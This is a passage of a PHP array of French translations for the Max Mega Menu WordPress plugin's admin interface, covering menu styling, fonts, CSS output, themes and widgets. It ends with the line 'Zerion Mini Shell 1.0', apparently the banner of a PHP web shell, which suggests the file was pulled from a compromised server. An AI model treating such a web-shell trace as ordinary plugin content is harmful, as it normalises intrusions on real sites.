la police à utiliser pour chaque élément de menu du plus niveau (au survol de la souris).','Decoration'=>'Décoration','Weight'=>'Poids','Transform'=>'Transformation','Family'=>'Famille','Size'=>'Taille','The font to use for each top level menu item.'=>'La police à utiliser pour chaque élément de menu du plus haut niveau.','Font'=>'Police','Define the height of each top level menu item link. This value plus the Menu Padding (top and bottom) settings define the overall height of the menu bar.'=>'Définir la hauteur de chaque lien de l’élément de menu de niveau supérieur. Cette valeur plus les paramètres de pas du Menu (haut et bas) définissent la hauteur totale de la barre de menu.','Menu Item Height'=>'Hauteur d’élément du menu','Define the size of the gap between each top level menu item.'=>'Définir la taille de l’écart entre chaque élément du niveau le plus haut.','The background color for a top level menu item (on hover).'=>'Couleur de fond pour un élément du menu du plus haut niveau (au survol de la souris).','Menu Item Background (Hover)'=>'Couleur de fond d’élément de menu (au survol de la souris)','The background color for each top level menu item. Tip: Set these values to transparent if you\'ve already set a background color on the menu bar.'=>'La couleur de fond pour chaque élément de menu du niveau le plus haut. Astuce : Définir ces valeurs à transparent si vous avez déjà défini une couleur de fond à la barre de menu.','Menu Item Background'=>'Couleur de fond d’élément de menu','Top Level Menu Items'=>'Items de menu du plus haut niveau','This option will apply to all menu items. To align an individual menu item to the right, edit the menu item itself and set \'Menu Item Align\' to \'Right\'.'=>'Cette option s’appliquera à tous les éléments du menu. Pour aligner un élément du menu spécifique à droite, éditez l’élément de menu lui-même et définissez ’Alignement d’élément de menu’ à ’Droite’.','Align <i>all</i> menu items to the left (default), centrally or to the right.'=>'Aligner <i>tous</i> les éléments de menu (la barre de menu) à gauche (par défaut), centré ou à droite.','Menu Items Align'=>'Alignement des éléments du menu','Bottom Left'=>'Inférieur gauche','Bottom Right'=>'En bas et à droite','Top Right'=>'Supérieur droit','Top Left'=>'Supérieur gauche','Set a border radius on the main menu bar.'=>'Régler le radius de la bordure sur la barre de menu principale.','Menu Border Radius'=>'Radius de la bordure de menu','Bottom'=>'En bas','Top'=>'En haut','Padding for the main menu bar.'=>'Pas pour la barre de menu principale.','Menu Padding'=>'Marges internes de menu','To'=>'À','From'=>'De','The background color for the main menu bar. Set each value to transparent for a \'button\' style menu.'=>'La couleur de fond pour la barre de menu principale. Réglez chaque valeur à transparent pour un style de menu ’bouton’.','Menu Background'=>'Couleur de fond du menu','Menu Bar'=>'Barre de menu','Reset Widget Styling'=>'Réinitialiser le style des widgets','Apply hover transitions to menu items. Note: Transitions will not apply to gradient backgrounds.'=>'Applique la transition au survol de souris aux éléments de menu. Note : les transitions ne seront pas appliquées au couleur de fond dégradées.','Hover Transitions'=>'Transitions au survol','Color'=>'Couleur du texte','Spread'=>'Propagation','Blur'=>'Flou','Vertical'=>'Verticale','Horizontal'=>'Horizontale','Enabled'=>'Activé','Apply a shadow to mega and flyout menus.'=>'Applique une ombre au menus Mega et au survol.','Shadow'=>'Ombre','Set the z-index to ensure the sub menus appear ontop of other content.'=>'Définissez le z-index pour vous assurer que les sous-menus apparaissent au-dessus des autres contenus.','Z Index'=>'Z-index','Set the general line height to use in the sub menu contents.'=>'Définir l’interlignage général à utiliser dans le contenu du sous-menu.','Line Height'=>'Hauteur de ligne','Responsive Breakpoint'=>'Point de rupture responsive','Down'=>'Bas','Up'=>'Haut','Theme Title'=>'Titre du thème','Editing theme'=>'Edition du thème','Select theme to edit'=>'Sélectionner un thème à éditer','Menu Location Deleted'=>'Emplacement de menu effacé','New Menu Location Created'=>'Nouvel emplacement de thème créé','Theme Reverted'=>'Thème rétabli','Theme Duplicated'=>'Thème dupliqué','Theme Deleted'=>'Thème effacé','All plugin data removed'=>'Toutes les extensions ont été retirées','Failed to delete theme. The theme is in use by a menu.'=>'Echec lors de la suppression du thème. Le thème est utilisé par un menu.','Menu Themes'=>'Thèmes de menu','Pro extension'=>'Extension PRO','Core version'=>'Version du noyau','Documentation'=>'Documentation','Homepage'=>'Page d’accueil','Import Theme'=>'Importer thème','Export Theme'=>'Exporter thème','Delete Data'=>'Effacer les données','Delete all saved Max Mega Menu plugin data from the database. Use with caution!'=>'Effacer toutes les données de Max Mega Menu de la base de données. A utiliser avec précaution !','Plugin Data'=>'Données du plugin','Clear CSS Cache'=>'Vider le cache CSS','Cache'=>'Cache','Tools'=>'Outils','Delete location'=>'Effacer l’emplacement','Add the \'Max Mega Menu\' widget to a widget area.'=>'Ajouter le widget « Max Mega Menu » à une zone de widget.','Widget'=>'Widget','Shortcode'=>'Code-court','PHP Function'=>'Fonction PHP','Location Description'=>'Description d’emplacement','Assign a menu'=>'Assigner un menu','Add another menu location'=>'Ajouter un autre emplacement de menu','Menu Locations'=>'Emplacement de menu','Accordion - Open sub menus will automatically close when another one is opened.'=>'Accordéon - Un sous menu ouvert se fermera automatiquement quand un autre s’ouvrira.','Standard - Open sub menus will remain open until closed by the user.'=>'Standard - Un sous menu restera ouvert tant qu’il n’est pas fermé par l’utilisateur.','Define the sub menu toggle behaviour for the mobile menu.'=>'Définir le comportement du menu bascule sous le menu pour mobile.','Mobile Sub Menu Behaviour'=>'Comportement du Menu Mobile','First click will open the sub menu, second click will follow the link.'=>'Le premier clic ouvrira le sous-menu, le deuxième clic suivra le lien.','First click will open the sub menu, second click will close the sub menu.'=>'Le premier clic ouvrira le sous-menu, le deuxième clic fermera le sous-menu.','Define what should happen when the event is set to \'click\'. This also applies to mobiles.'=>'Définir ce qu’il arrivera lorsque l’évènement est paramétré sur ’click’. Cela s’applique aussi aux mobiles.','Click Event Behaviour'=>'Comportement de l’événement sur clic','CSS will not be output, you must enqueue the CSS for the menu manually.'=>'Le CSS ne sera pas généré, vous devez le placer dans la file manuellement pour le menu.','CSS will be loaded from the cache in a &lt;style&gt; tag in the &lt;head&gt; of the page.'=>'Le CSS sera chargé depuis le cache dans une balise &lt;style&gt; dans la section &lt;head&gt; de la page.','CSS will be saved to wp-content/uploads/maxmegamenu/style.css and enqueued from there.'=>'Le CSS sera sauvegardé dans wp-content/uploads/maxmegamenu/style.css et mis dans la file depuis cet emplacement.','Don\'t output CSS'=>'Ne pas générer de sortie CSS','Output in &lt;head&gt;'=>'Dans la section « head »','Save to filesystem'=>'Enregistrer dans un fichier','CSS Output'=>'Sortie CSS','Max Mega Menu'=>'Max Mega Menu','Copy'=>'Copie','Theme'=>'Thème','Slide'=>'Faire glisser','Fade'=>'Disparition','None'=>'Aucun','Effect'=>'Effet','Click'=>'Cliquer','Hover'=>'Survol','Event'=>'Evénement','Enable'=>'Activé','Save'=>'Enregistrer','Please assign this menu to a theme location to enable the Mega Menu settings.'=>'Assignez ce menu à un emplacement de thème, svp, pour activer les paramètres de Mega Menu.','here'=>'ici','Oops. Something went wrong. Please reload the page.'=>'Oups... Quelque chose c’est mal passé. Veuillez recharger la page.','Saving'=>'Enregistrement','Please enable Max Mega Menu using the settings on the left of this page.'=>'Activer Max Mega Menu en utilisant les réglages sur la gauche de cette page.','Launched for Menu ID'=>'Chargé pour l’ID du menu','Max Mega Menu Settings'=>'Réglages Max Mega Menu','Select icons from your media library with {link}'=>'Sélectionner une icône depuis votre bibliothèque de médias avec {link}','Custom Icon'=>'Icone personnalisée','Choose from over 100 genericons with {link}'=>'Choisir parmi plus de 100 genericons avec {link}','Genericons'=>'Genericons','Get access to over 400 Font Awesome Icons with {link}'=>'Accédez à plus de 400 icones de Font Awesome avec {link}','Max Mega Menu Pro'=>'Max Mega Menu Pro','Font Awesome'=>'Font Awesome','Dashicons'=>'Dashicons','General Settings'=>'Réglages généraux','Sub menu align'=>'Alignement du sous-menu','Sub Menu Settings'=>'Réglages du sous-menu','Right aligned items will appear in reverse order on the right hand side of the menu bar'=>'Les éléments alignés à droite apparaîtront dans un ordre inversé sur le côté droit de la barre de menu','Right'=>'À droite','Left'=>'À gauche','Menu item align'=>'Alignement de l’élément du menu','Disable link'=>'Désactiver le lien','Hide arrow'=>'Masquer la flèche','Option only available for top level menu items'=>'Option seulement disponible pour les éléments du plus haut niveau','Hide text'=>'Masquer le texte','Menu Item Settings'=>'Réglages des éléments du menu','No widgets found. Add a widget to this area using the Widget Selector (top right)'=>'Aucun widget trouvé. Ajoutez un widget à cette zone en utilisant le sélecteur de widget (en haut à droite)','Widgets'=>'Widgets','Select a Widget to add to the panel'=>'Sélectionner un widget à ajouter au panneau','columns'=>'colonnes','column'=>'colonne','Flyout Menu'=>'Menu au survol','Sub menu display mode'=>'Mode d’affichage du sous-menu','Mega Menus can only be created on top level menu items.'=>'Mega Menu peut seulement être créé pour les éléments de plus haut niveau.','Mega Menu'=>'Méga Menu']];

Zerion Mini Shell 1.0